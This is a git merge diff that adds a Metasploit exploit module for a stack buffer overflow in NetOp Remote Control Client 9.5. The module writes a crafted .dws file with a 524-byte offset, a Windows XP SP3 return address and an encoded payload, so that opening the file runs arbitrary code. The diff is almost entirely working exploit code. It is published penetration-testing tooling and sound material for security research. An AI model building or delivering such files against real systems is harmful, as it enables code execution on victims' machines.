Merge branch 'netop' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-netop

modules/exploits/windows/fileformat/netop.rb

@@ -0,0 +1,75 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::FILEFORMAT
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'NetOp Remote Control Client 9.5 Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a stack-based buffer overflow in NetOp Remote Control 9.5.
+				When opening a .dws file containing a specially crafted string longer then 520 
+				characters will allow an attacker to execute arbitrary code.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'Ruben Alejandro "chap0"',
+				],
+			'References'     =>
+				[
+					[ 'OSVDB', '72291' ],
+					[ 'URL', 'http://www.exploit-db.com/exploits/17223/' ]
+				],
+			'DefaultOptions' =>
+				{
+					'ExitFunction' => 'process',
+					'DisablePayloadHandler' => 'true'
+				},
+			'Platform'       => 'win',
+			'Payload'        =>
+				{
+					'Space' => 2000,
+					'BadChars' => "\x00\x0a\x0d",
+					'DisableNops' => true,
+					'StackAdjustment' => -3500
+				},
+			'Targets'        =>
+				[
+					[ 'Windows XP SP3',
+						{
+							'Ret' => 0x20d6c32c,  # push esp #  ret  - nrp.DLL
+							'Offset' => 524
+						}
+					]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'Apr 28 2011',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('FILENAME', [ true, 'The file name.', 'msf.dws']),
+			], self.class)
+
+	end
+
+	def exploit
+		buffer =  rand_text(target['Offset'])
+		buffer << [target.ret].pack('V')
+		buffer << make_nops(30)
+		buffer << payload.encoded
+
+		file_create(buffer)
+	end
+
+end